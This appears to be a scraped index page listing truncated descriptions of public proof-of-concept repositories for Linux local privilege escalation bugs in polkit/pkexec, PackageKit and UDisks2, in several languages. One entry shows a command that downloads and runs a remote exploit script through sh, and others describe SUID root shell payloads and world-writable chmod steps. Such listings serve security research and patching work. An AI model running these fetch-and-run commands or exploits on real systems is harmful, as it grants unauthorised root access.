CVE-2021-4034

CVE-2021-4034 Polkit PoC What is Polkit? Policy Toolkit or Polkit since its release in 2009 allows any attacker without root permissions to easily obtain administrative access over any Linux system with the Polkit package. Unfortunately or not, it is installed by default in most Linux...

CVE-2020-25637-libvirt-double-free

root@kitploit: CVE-2020-25637 root@kitploit: Description A double-free issue occurred in the libvirt API, in versions prior to version 6.8.0, responsible for requesting information about the network interfaces of a running QEMU domain. This flaw affects the polkit access control driver...

CVE-2021-3560

CVE-2021-3560 Elevación de privilegios mediante condición de carrera en polkit. Descripción de la vulnerabilidad CVE-2021-3560 es una condición de carrera en polkit que permite a un usuario local no autorizado obtener privilegios de root. La vulnerabilidad radica en cómo polkit maneja los errores...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2021-4034-pwnkit

CVE-2021-4034, PwnKit Proof of concept for PwnKit, a local privilege escalation in polkit's pkexec. On a default install any unprivileged local user can become root. About the bug Vulnerable versions of pkexec mishandle the process argument count. That lets controlled environment variables get...

CVE-2026-41651

🔥 CVE-2026-41651 — PackageKit TOCTOU Local Privilege Escalation Pack2TheRoot Local Privilege Escalation exploit targeting the PackageKit daemon. Escalates from an unprivileged local user to root through a TOCTOU race condition vulnerability. 📌 Overview CVE-2026-41651 also known as Pack2TheRoot is...

CVE-2025-6019

CVE-2025-6019 PoC Simple proof-of-concept for a UDisks2 XFS resize privilege escalation. Files createpayload.sh: Builds an XFS image with a SUID rootbash payload. exploit.sh: Triggers the resize path and launches the SUID shell. Requirements mkfs.xfs, udisksctl, gdbus, loginctl An allowactive...

CVE-2025-6018-6019-PoC

CVE-2025-6018 & CVE-2025-6019: Local Privilege Escalation PoC A robust Proof of Concept PoC for chaining CVE-2025-6018 PAM/Polkit Active Session Bypass and CVE-2025-6019 libblockdev SUID Mount Flaw to achieve root access on vulnerable Linux systems. Disclaimer This tool is for educational purpose...

CVE-2026-41651

CVE-2026-41651 root@kitploit: CVSS 3.x : 7.8 HIGH CWE : CWE-367 Time-of-Check Time-of-Use Fix : PackageKit 1.3.5+ Affects : PackageKit 1.0.2 – 1.3.4 Local privilege escalation via TOCTOU race condition in PackageKit's D-Bus transaction handler. Any unprivileged local user can install arbitrary...

Linux Distros Unpatched Vulnerability : CVE-2026-78422

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Subject::newforowner in the zbuspolkit crate encodes the uid entry of a unix-process polkit subject as an unsigned 32-bit integer D-Bus type u, whereas the...

CVE-2021-4034-CTF-writeup

CVE-2021-4034-CTF-writeup This is a CTF pwn challenge that I wrote in C which requires the user to exploit the CVE-2021-4034 vulnerability. Players are given 2 binaries in the challenge directory in this repo. The chal binary implements the CTF challenge and the shelly.so is a helper binary. How ...

CVE-2021-4034

Proof of Concept PoC: CVE-2021-4034 PwnKit Note: This repository and its content are part of a Final Degree Project FDP, created solely for educational purposes and academic research. Description This repository contains a proof of concept PoC for the CVE-2021-4034 vulnerability, also known as...

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC Exploit Local Privilege Escalation LPE - openSUSE / SUSE Linux Enterprise 15 Working PoC/Exploit for CVE-2025-6018 and CVE-2025-6019 - Privilege escalation from unprivileged user to root on openSUSE Leap 15.x and SUSE Linux Enterprise 15.x 🎯 Quick Summary CVE ID|...

CVE-2021-4034-POC

CREDITS VULNERABILITY AUTHOR: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 Reference https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c...

CVE-2021-3560-EXPLOIT

Description As part of my cybersecurity thesis I wanted to create an exploit for a vulnerability. I HIGHLY recommend reading this guide, as this exploit is based on it: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ Also, check out this repo, as i took...

-CVE-2021-4034

CVE-2021-4034 PwnKit Report di Sfruttamento Riepilogo Ufficiale della Valutazione di Sicurezza Prove controllate di sfruttamento per CVE-2021-4034 con impatto documentato e indicazioni di rimedio. Metadati del Report Campo| Valore ---|--- ID CVE| CVE-2021-4034 Nome Vulnerabilità| PwnKit Component...

ROOT-CVE-2021-3560

ROOT-CVE-2021-3560 Polkit 0.105-26 0.117-2 - Escalation dei privilegi locali...

Polkit-Permission-promotion-compiled

Polkit-Permission-promotion-compiled Pacchetto di escalation dei privilegi di Polkit CVE-2021-4034 （Accesso facile per chi ne ha bisogno Progetto originale richiede compilazione: https://github.com/berdav/CVE-2021-4034 Questo è il progetto già compilato, importa tutto root@kitploit: chmod -R 777...

CVE-2021-3560-PolkitPrivilegeEsclation

CVE-2021-3560-Polkit-Privilege-Esclation PoC Ricerca originale di Kevin Backhouse Questo è solo uno script Bash PoC che automatizza i passaggi di sfruttamento menzionati nel blog di Kevin Backhouse. Leggi il suo post su questa vulnerabilità:...

POC-Bash-CVE-2021-3560

Bash-CVE-2021-3560 POC Bash -- CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट यह रिपॉजिटरी CVE-2021-3560 के लिए एक bash एक्सप्लॉइट प्रदान करती है, जो polkit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो कई आधुनिक Linux वितरणों को प्रभावित करती है। !!!!!! परीक्षण के दौरान अस्थिरता...